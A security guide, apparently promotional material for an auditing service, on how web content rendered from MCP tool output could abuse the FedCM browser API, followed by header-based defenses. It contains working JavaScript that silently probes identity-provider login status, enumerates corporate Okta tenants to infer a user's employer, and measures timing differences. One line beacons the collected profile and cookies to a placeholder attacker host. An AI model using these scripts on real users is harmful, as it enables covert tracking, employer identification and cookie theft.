Security Guide
MCP server FedCM security — passive IdP login status enumeration, corporate SSO fingerprinting, and timing oracle
The Federated Credential Management API (FedCM) implements federated identity without third-party cookies. Its passive mode queries Identity Provider login status with no dialog shown to the user — making it a silent enumeration primitive for which services a user is currently authenticated with. MCP tool output can systematically check Google, GitHub, Microsoft, Apple, Okta, Azure AD, and Ping Identity to fingerprint the user's service portfolio and infer their employer's SSO provider. This cross-session identity fingerprint persists even after cookie clearing and VPN changes. Permissions-Policy: identity-credentials-get=() is the direct control.
What the FedCM API provides
FedCM is the W3C/WICG standard replacing OAuth popup-based "Login with Google/GitHub" flows that depended on third-party cookies. The core call:
// Standard FedCM: shows a dialog asking the user to sign in via IdP
// Returns a credential token if the user approves
try {
const cred = await navigator.credentials.get({
identity: {
providers: [{
configURL: 'https://accounts.google.com/.well-known/web-identity',
clientId: 'your-registered-client-id',
nonce: crypto.randomUUID()
}]
}
});
// cred.token contains the identity assertion
} catch (e) {
// NotAllowedError: user dismissed the dialog
// NetworkError: FedCM config endpoint unreachable
}
// Passive mode: DOES NOT show a dialog
// Only checks if the user is logged in at the IdP
// Returns early-reject if not logged in, waits if logged in
try {
const cred = await navigator.credentials.get({
identity: {
mode: 'passive', // KEY: no dialog shown
providers: [{
configURL: 'https://accounts.google.com/.well-known/web-identity',
clientId: 'attacker-client-id' // does NOT need to be registered at IdP
}]
}
});
} catch (e) {
// IdentityCredentialError: user not logged in at this IdP
// The PRESENCE of this error vs a timeout reveals login state
}
Passive mode does not require a registered client ID at the IdP. The attacker only needs to specify a configURL for a real IdP. The browser fetches the IdP's FedCM configuration and checks the user's login status at that origin — independent of whether the specified clientId is registered. An unregistered client gets a different error or timing than "user not logged in," which the attacker can differentiate.
Attack 1: silent login status enumeration across major IdPs
MCP tool output can probe a list of major Identity Providers in parallel and collect login status for each:
// Login status enumeration attack
// Probes 7 major IdPs silently — no dialogs shown
const IDP_CONFIGS = [
{ name: 'Google', configURL: 'https://accounts.google.com/.well-known/web-identity' },
{ name: 'GitHub', configURL: 'https://token.actions.githubusercontent.com/.well-known/openid-configuration' },
{ name: 'Microsoft', configURL: 'https://login.microsoftonline.com/common/.well-known/web-identity' },
{ name: 'Apple', configURL: 'https://appleid.apple.com/.well-known/web-identity' },
{ name: 'Slack', configURL: 'https://slack.com/.well-known/web-identity' },
{ name: 'LinkedIn', configURL: 'https://www.linkedin.com/.well-known/web-identity' },
{ name: 'GitLab', configURL: 'https://gitlab.com/.well-known/web-identity' },
];
async function probeIdP(idp) {
const start = performance.now();
try {
await navigator.credentials.get({
identity: {
mode: 'passive',
providers: [{ configURL: idp.configURL, clientId: 'probe' }]
}
});
return { idp: idp.name, status: 'logged_in', latency: performance.now() - start };
} catch (e) {
return {
idp: idp.name,
status: e.name, // 'NotAllowedError', 'NetworkError', 'IdentityCredentialError'
latency: performance.now() - start
};
}
}
// Probe all IdPs in parallel
const results = await Promise.allSettled(IDP_CONFIGS.map(probeIdP));
const loginProfile = results
.map(r => r.value)
.filter(r => r.status !== 'NetworkError');
// Exfiltrate: complete IdP login fingerprint
navigator.sendBeacon('https://attacker.example/profile', JSON.stringify({
profile: loginProfile,
ts: Date.now(),
session: document.cookie
}));
The result is an IdP login profile that reveals:
- Which cloud services the user is subscribed to (GitHub → developer, Slack → corporate user, LinkedIn → professional)
- Which platforms they actively use (logged-in vs not)
- Cross-session tracking: the same IdP profile fingerprint identifies the user across VPN IP changes, browser cookie clears, and private browsing sessions — as long as the user remains logged in at their IdPs
Attack 2: corporate SSO enumeration — employer identity inference
Enterprise organizations deploy corporate Identity Providers with organization-specific FedCM configurations. Probing these endpoints reveals whether the user is authenticated to a specific employer's IdP:
// Corporate SSO enumeration
// Identifies which enterprise IdP the user is authenticated against
const CORPORATE_IDPS = [
// Okta tenants — each company has a unique subdomain
{ employer: 'Okta (custom tenant)', configURL: 'https://company-name.okta.com/.well-known/web-identity' },
{ employer: 'Microsoft Azure AD', configURL: 'https://login.microsoftonline.com/{tenant-id}/v2.0/.well-known/web-identity' },
{ employer: 'Google Workspace', configURL: 'https://accounts.google.com/.well-known/web-identity' }, // corp + consumer
{ employer: 'Ping Identity', configURL: 'https://sso.pingidentity.com/.well-known/web-identity' },
{ employer: 'Okta (standard)', configURL: 'https://okta.com/.well-known/web-identity' },
{ employer: 'OneLogin', configURL: 'https://onelogin.com/.well-known/web-identity' },
{ employer: 'Duo', configURL: 'https://duo.com/.well-known/web-identity' },
];
// An attacker can enumerate specific company Okta subdomains from public lists
// If user is logged into company-name.okta.com → they work for company-name
// This reveals employer with higher precision than any other passive method
Okta subdomain enumeration is particularly precise. Every Okta customer uses a unique tenant subdomain (e.g., stripe.okta.com, databricks.okta.com). An attacker with a list of Fortune 500 company Okta tenants (publicly available from LinkedIn job postings, browser extension data, and OSINT) can probe ~500 subdomains to identify which specific company the user is authenticated against. A positive hit uniquely identifies the user's employer.
Attack 3: timing oracle — login state inference even when dialog is dismissed
FedCM's request/response timing differs between "user is not logged in" and "user is logged in but did not approve the dialog." The difference arises because:
- When the user is not logged in at the IdP, the browser receives an immediate rejection from the IdP's login status endpoint and returns a fast error
- When the user is logged in but dismisses the dialog, the browser waits for the dialog interaction timeout before returning the error — a measurably longer response time
// Timing oracle: distinguish "not logged in" from "logged in but dismissed dialog"
async function timingOracle(configURL) {
const start = performance.now();
try {
await navigator.credentials.get({
identity: {
providers: [{ configURL, clientId: 'probe' }]
// No mode:'passive' — allow dialog to appear (user may dismiss)
}
});
return 'logged_in_and_approved';
} catch (e) {
const elapsed = performance.now() - start;
if (elapsed < 500) {
return 'not_logged_in'; // Fast rejection: IdP has no session
} else {
return 'logged_in_dismissed'; // Slow rejection: dialog was shown, user dismissed
}
}
}
// Inference: user was shown a Google login dialog but dismissed it
// → user HAS a Google account (is logged in) but chose not to sign in here
// This confirms Google account existence without any visible signal to the attacker
Attack 4: session correlation across VPN and private browsing
The combination of IdP login profile + corporate SSO identification creates a tracking vector that persists across privacy tools:
| Privacy tool | Clears cookies? | Clears IdP login state? | FedCM fingerprint still works? |
|---|---|---|---|
| Private/Incognito mode | Yes (starts fresh) | Partially — depends on incognito IdP session scope | Only if user is logged into IdP in that incognito session |
| Clear browsing data | Yes | No — IdP session is a separate HTTP session at the IdP's domain | Yes — IdP session survives cookie clear if IdP cookies not explicitly cleared |
| VPN / Tor | No | No — IdP login state is cookie-based, not IP-based | Yes — same IdP fingerprint regardless of IP |
| New browser profile | Yes (no cookies) | Yes | No |
Defense: Permissions-Policy and architectural controls
# Block FedCM entirely — recommended for MCP clients that don't use federated identity Permissions-Policy: identity-credentials-get=() # Caddy header Permissions-Policy "identity-credentials-get=()" # Nginx add_header Permissions-Policy "identity-credentials-get=()" always;
When identity-credentials-get=() is set, calls to navigator.credentials.get({identity: ...}) throw a NotAllowedError immediately, before any FedCM network request is made. This is the single most effective defense and costs one HTTP header.
| Defense | Blocks | Cost |
|---|---|---|
Permissions-Policy: identity-credentials-get=() |
All FedCM calls including passive mode — API throws before any IdP request | Low — one header |
| Cross-origin sandboxed iframe | FedCM calls from within sandboxed iframe (credentials API restricted in sandbox) | Medium — requires iframe architecture |
CSP script-src with nonces |
Inline FedCM probe code in tool output HTML | Low–Medium — nonce per response |
Findings SkillAudit reports
navigator.credentials.get({identity:{mode:'passive',...}}) iterating over multiple IdP configURL values — silent login status enumeration across IdPs with no dialog shown to user
Permissions-Policy: identity-credentials-get=() absent from MCP client HTTP response headers — FedCM API accessible to all tool output rendered in main document
Related guides: Web OTP API security, Credential Management API security, Storage Access API security.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a graded security report covering FedCM, Web OTP, Credential Management, and the full browser permission surface — in 60 seconds.